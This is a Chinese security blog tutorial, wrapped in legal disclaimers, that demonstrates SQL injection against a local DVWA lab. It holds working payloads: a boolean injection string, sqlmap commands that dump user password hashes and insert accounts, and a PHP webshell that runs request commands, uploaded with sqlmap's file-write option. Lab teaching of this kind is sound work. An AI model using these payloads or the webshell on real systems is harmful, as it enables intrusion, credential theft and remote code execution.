注意:本文仅用于合法授权下的安全研究、教学演示、以及漏洞复现。严禁将本文技术用于未授权的渗透、监听、植入、操控行为。
本文内容及所涉及的技术,仅限于合法授权下的安全研究、漏洞复现与教学演示使用!使用者必须在完全理解并接受本声明的前提下继续阅读与操作。
凡将本文所述方法用于非法用途者,一切法律后果由使用者本人承担。
请严格遵守所在地的法律法规,特别是以下中国法律条款:
- 《中华人民共和国网络安全法》 第十二条:禁止任何组织或个人利用网络危害国家安全、煽动颠覆政权等活动。
- 《中华人民共和国刑法》 第二百八十五条至二百八十七条:非法入侵计算机系统、篡改或破坏数据将追究刑责。
- 《中华人民共和国数据安全法》 第三条、第十七条:数据处理活动必须合法合规,严禁非法获取、传输或泄露数据。
注意:本文仅供教育和安全研究使用。
本文内容及所涉及的技术,仅限用于合法授权下的安全研究、教学演示、
以及漏洞复现。严禁将本文技术用于未授权的渗透、监听、植入、操控行为。
本文内容仅限安全研究、漏洞复现与教学演示使用!
使用者必须在完全理解并接受本声明的前提下继续阅读与操作。
凡将本文所述方法用于非法用途者,一切法律后果由使用者本人承担。
请严格遵守所在地的法律法规,特别是以下中国法律条款:
📜 《中华人民共和国网络安全法》 第十二条:
禁止任何组织或个人利用网络危害国家安全、煽动颠覆政权等活动。
📜 《中华人民共和国刑法》 第二百八十五条至二百八十七条:
非法入侵计算机系统、篡改或破坏数据将追究刑责。
📜 《中华人民共和国数据安全法》 第三条、第十七条:
数据处理活动必须合法合规,严禁非法获取、传输或泄露数据。
🚫 强烈禁止以下行为:
- 向他人 APK 植入恶意代码并传播
- 上传恶意程序至应用市场
- 在未授权设备或网络环境中运行本篇提及的技术
⚖️ 非法使用将触犯法律,作者不承担由此引发的任何后果。
🧪 本文操作均在本地沙箱环境下进行,示例所用 APK 为自定义构建 demo,用于演示完整技术链路,非实际恶意软件。
💡 特别提醒:
本文所涉及操作可能包含网络通信、远程访问、敏感权限调用等,
必须在受控环境下、获得明确授权后进行。
未经许可的任何行为都将被视为违法攻击。
📛 作者立场中立,仅为安全教育目的演示,不对滥用技术行为负责。
准备环境 & Docker 安装
sudo apt update
sudo apt install -y docker.io
docker pull vulnerables/web-dvwa
docker run --rm -it -p 7997:80 vulnerables/web-dvwa
访问浏览器:http://localhost:7997
默认账号密码:admin / password
点击 Create/Reset Database 初始化数据库。
布尔注入测试与漏洞验证
在开始之前,我们要确保 SQL 语句在数据库端返回 true
而不是 false
。通常,当密码错误时,例如 password='123'
或 password='
‘,查询会返回 false
,因为条件不匹配。但如果我们注入 '1'='1'
,这个条件始终为 true
,因为 '1'
与 '1'
完全匹配,从而绕过验证。
输入:
OR '1'='1'
理论上,后台 SQL 语句可能是:
SELECT * FROM users WHERE password = '' OR '1'='1';
页面返回:
ID: 1' OR '1'='1
First name: admin
Surname: admin
ID: 1' OR '1'='1
First name: Gordon
Surname: Brown
ID: 1' OR '1'='1
First name: Hack
Surname: Me
ID: 1' OR '1'='1
First name: Pablo
Surname: Picasso
ID: 1' OR '1'='1
First name: Bob
Surname: Smith
这一步成功验证了 id
参数存在 SQL 注入漏洞,是整个攻击链的开端。
获取 PHPSESSID & 安全级别 Cookie
curl -I http://localhost:7997
输出:
HTTP/1.1 302 Found
Set-Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; path=/
Set-Cookie: security=low
Location: login.php
curl 验证 SQL 注入点
curl -i "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
-H "Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low"
输出:
ID: 1
First name: admin
Surname: admin
尝试注入:
curl -i "http://localhost:7997/vulnerabilities/sqli/?id=1'%20OR%20'1'='1'&Submit=Submit" \
-H "Cookie: PHPSESSID=4g1116vseduecrmelkc6od8bi1; security=low"
输出:
ID: 1' OR '1'='1
First name: admin
sqlmap 探测注入类型
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
-p id --batch --level=2 --risk=1
输出:
GET parameter 'id' is injectable
Boolean-based blind: payload...
Error-based: payload...
Time-based blind: payload...
UNION query: payload...
获取数据库列表
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
--dbs -p id --batch
输出:
available databases [2]:
[*] dvwa
[*] information_schema
查看 DVWA 表
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
-D dvwa --tables -p id --batch
输出:
Database: dvwa
[2 tables]
+-----------+
| guestbook |
| users |
+-----------+
查询用户表
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
--sql-query="SELECT * FROM dvwa.users;" -p id --batch
输出:
[*] 1337,/hackable/users/1337.jpg,0,Hack,...,8d3533d75ae2c3966d7e0d4fcc69216b,3
[*] admin,/hackable/users/admin.jpg,0,admin,...,5f4dcc3b5aa765d61d8327deb882cf99,1
[*] gordonb,/hackable/users/gordonb.jpg,0,Gordon,...,e99a18c428cb38d5f260853678922e03,2
[*] pablo,/hackable/users/pablo.jpg,0,Pablo,...,0d107d09f5bbe40cade3de5c71e9e9b7,4
[*] smithy,/hackable/users/smithy.jpg,0,Bob,...,5f4dcc3b5aa765d61d8327deb882cf99,5
创建新用户
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
--sql-query="INSERT INTO dvwa.users (user, avatar, first_name, user_id, password)
VALUES ('test', '/hackable/users/test.jpg', 'sss', 'test_hack', 'password_123');" -p id --batch
查询权限
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
--sql-query="SELECT grantee, privilege_type FROM information_schema.user_privileges;" -p id --batch
输出:
'app'@'localhost', USAGE
上传 WebShell
PHP WebShell:
<?php
if (isset($_REQUEST['cmd'])) {
echo "<pre>";
system($_REQUEST['cmd']);
echo "</pre>";
}
?>
上传命令:
sqlmap -u "http://localhost:7997/vulnerabilities/sqli/?id=1&Submit=Submit" \
--cookie="PHPSESSID=4g1116vseduecrmelkc6od8bi1;security=low" \
-p id --batch \
--file-write="./shell.php" \
--file-dest="/var/www/html/dvwa/shell.php"
访问测试:
http://localhost:7997/dvwa/shell.php?cmd=whoami
郑重声明
学技术,须以善念为本。此博客所分享的知识,皆为安全研究与防护之用。请务必谨记,绝不可滥用这些技能去伤害他人、侵犯隐私或进行任何违法犯罪行为。若你选择走偏,所有后果只能由你自己承担。
技术如刀,双刃而锋利。唯有怀抱正义与责任,方能让它照亮前路,而非迷失于黑暗。愿你我都能守住这份初心,成为守护网络安全的真正战士。
若你选择滥用本博客内容所学技能所造成的任何损害或违法行为,本人概不负责。若因此被警方或相关执法机关追查,一切法律责任与后果均由使用者本人承担。